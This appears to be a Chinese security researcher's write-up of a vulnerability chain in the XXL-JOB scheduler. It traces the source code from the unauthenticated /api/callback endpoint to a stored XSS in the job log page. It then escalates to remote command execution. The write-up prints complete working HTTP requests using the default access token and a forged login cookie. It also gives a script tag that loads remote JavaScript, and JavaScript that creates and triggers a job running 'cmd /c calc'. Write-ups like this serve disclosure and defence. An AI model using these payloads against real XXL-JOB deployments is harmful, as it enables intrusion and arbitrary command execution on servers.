一.基础信息

XXL-job是一个开源的产品,部署起来还是蛮简单的这里就不讲了。
[https://github.com/xuxueli/xxl-job](https://github.com/xuxueli/xxl-job)

二.漏洞挖掘

2.1:xss挖掘

这套系统使用的拦截器进行权限验证图一XxlSsoWebInterceptor#preHandle,其他的先不看首先我们通过反射拿到对应出
controller的方法@XxlSso这个注解,拿到之后不等于null那参数login内容,空就是true了,51行取反就跳过了。
+ 那么就很明显了存在@XxlSso注解并且login参数是false就放行51行。

下面图一就很符合我们的条件是一个可以访问的路由,47行之前都是一些基础判断必须等于post请求,url参数并且存在
内容requestBody也一样,走到
List<CallbackRequest> callbackParamList = GsonTool.fromJson(requestBody, List.class, CallbackRequest.class);
通过 Gson 将 JSON 字符串反序列化为 List<CallbackRequest>,其中 CallbackRequest.class 指定 List 
元素的类型,Gson 按该类的字段结构解析 JSON 中每个对象并赋值,之后走进
return adminBiz.callback(callbackParamList);
会经过callback接着走进去,图二。

上图我们得知会循环List<CallbackRequest>进入doCallback方法跟进去看看,下面图一,获取我们传入的
LogId进入load这个其实就到了MyBatis的Mapper接口层了下面代码一,就是查表xxl_job_log,我们传入的LogId查询xxl_job_log
表条件就是t.id = #{id},这里我们都能控制问题不大,这里有个条件就是log.getHandleCode() ,通过数据库查询的字段
HandleCode需要小于0才能走下去,这个是一个很关键的条件,后面就是append在Setter了,执行到complete进入看看图二,
53行直接就执行sql了代码二,更新了xxl_job_log,现在我们知道的是我们可以控制参数插入进数据库这个xxl-job表很少瞬间
让我想到有没有xss呢?为了验证这个想法,我们就去看看哪里用到了查询Select。

	<select id="load" parameterType="java.lang.Long" resultMap="XxlJobLog">
		SELECT <include refid="Base_Column_List" />
		FROM xxl_job_log AS t
		WHERE t.id = #{id}
	</select>
	<update id="updateHandleInfo">
		UPDATE xxl_job_log
		SET 
			`handle_time`= #{handleTime}, 
			`handle_code`= #{handleCode},
			`handle_msg`= #{handleMsg}
		WHERE `id`= #{id}
	</update>
	
	<delete id="delete" >
		delete from xxl_job_log
		WHERE job_id = #{jobId}
	</delete>
代码一我们直接网上找,发现直接就到Controller了都没有Service层,也省去看逻辑了,图一。

	<select id="pageList" resultMap="XxlJobLog">
		SELECT <include refid="Base_Column_List" />
		FROM xxl_job_log AS t
		<trim prefix="WHERE" prefixOverrides="AND | OR" >
			<if test="jobGroup gt 0">
				AND t.job_group = #{jobGroup}
			</if>
			<if test="jobId gt 0">
				AND t.job_id = #{jobId}
			</if>
			<if test="triggerTimeStart != null">
				AND t.trigger_time <![CDATA[ >= ]]> #{triggerTimeStart}
			</if>
			<if test="triggerTimeEnd != null">
				AND t.trigger_time <![CDATA[ <= ]]> #{triggerTimeEnd}
			</if>
			<if test="logStatus == 1" >
				AND t.handle_code = 200
			</if>
			<if test="logStatus == 2" >
				AND (
					t.trigger_code NOT IN (0, 200) OR
					t.handle_code NOT IN (0, 200)
				)
			</if>
			<if test="logStatus == 3" >
				AND t.trigger_code = 200
				AND t.handle_code = 0
			</if>
		</trim>
		ORDER BY t.id DESC
		LIMIT #{offset}, #{pagesize}
	</select>

但是这里有个问题就是@ResponseBody注解他直接返回json了,不要慌我在往上看的时候看到了,模板渲染

index方法其中渲染会执行AJAX请求pageList方法,八嘎那么漏洞就形成了。

那么还记得之前的条件吗?没错需要在任务管理存在一次执行失败的任务,并且请求响应不到就返回的是空这个我觉的基本上都存在失败的对于XXL-JOB这个系统来说,唯独就是load进行遍历就行了反正是存在有序的id。

POST /api/callback HTTP/1.1
Host: 192.168.1.153:8888
XXL-JOB-ACCESS-TOKEN: default_token
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:151.0) Gecko/20100101 Firefox/151.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 104
Cookie: xxl_job_login_token=ewogICJ1c2VySWQiOiAxLAogICJ1c2VyTmFtZSI6ICJhZG1pbiIsCiAgInJlYWxOYW1lIjogIjEiLAogICJleHRyYUluZm8iOiB7Imxpbmd6dSI6ICJsaW5nenUifSwKICAicm9sZUxpc3QiOiBbImxpbmd6dSIsICJsaW5nenUiXSwKICAicGVybWlzc2lvbkxpc3QiOiBbImxpbmd6dSIsICJsaW5nenUiXSwKICAiZXhwaXJlVGltZSI6IDk5OTk5OTk5OTk5OTksCiAgInNpZ25hdHVyZSI6IDEKfQ==

[{"logId":160,"handleCode":0,"handleMsg":"<script>alert(\"1\")</script>"}]
遍历的话就遍历logId

2.2:RCE

这里其实就非常简单了,因为在后台的话本身就存在命令执行的功能,唯独就是写一下js的问题了,代码一
fetch('/jobinfo/insert', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'jobGroup=2&jobDesc=lingzu&author=lingzu&alarmEmail=&scheduleType=NONE&scheduleConf=&glueType=BEAN&executorHandler=commandJobHandler&executorParam=cmd /c calc&executorRouteStrategy=FIRST&childJobId=&misfireStrategy=DO_NOTHING&executorBlockStrategy=SERIAL_EXECUTION&executorTimeout=0&executorFailRetryCount=0&glueRemark=x&glueSource='
})
.then(r => r.json())
.then(d => {
  if (d.code == 200) {
    fetch('/jobinfo/trigger', {
      method: 'POST',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: 'id=' + d.data + '&executorParam=cmd /c calc&addressList=http://127.0.0.1:9999'
    });
  }
});
POST /api/callback HTTP/1.1
Host: 192.168.1.153:8888
XXL-JOB-ACCESS-TOKEN: default_token
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:151.0) Gecko/20100101 Firefox/151.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 104
Cookie: xxl_job_login_token=ewogICJ1c2VySWQiOiAxLAogICJ1c2VyTmFtZSI6ICJhZG1pbiIsCiAgInJlYWxOYW1lIjogIjEiLAogICJleHRyYUluZm8iOiB7Imxpbmd6dSI6ICJsaW5nenUifSwKICAicm9sZUxpc3QiOiBbImxpbmd6dSIsICJsaW5nenUiXSwKICAicGVybWlzc2lvbkxpc3QiOiBbImxpbmd6dSIsICJsaW5nenUiXSwKICAiZXhwaXJlVGltZSI6IDk5OTk5OTk5OTk5OTksCiAgInNpZ25hdHVyZSI6IDEKfQ==

[{"logId":	160,"handleCode":0,"handleMsg":"<script src=\"http://127.0.0.1:7575/rce.js\"></script>"}]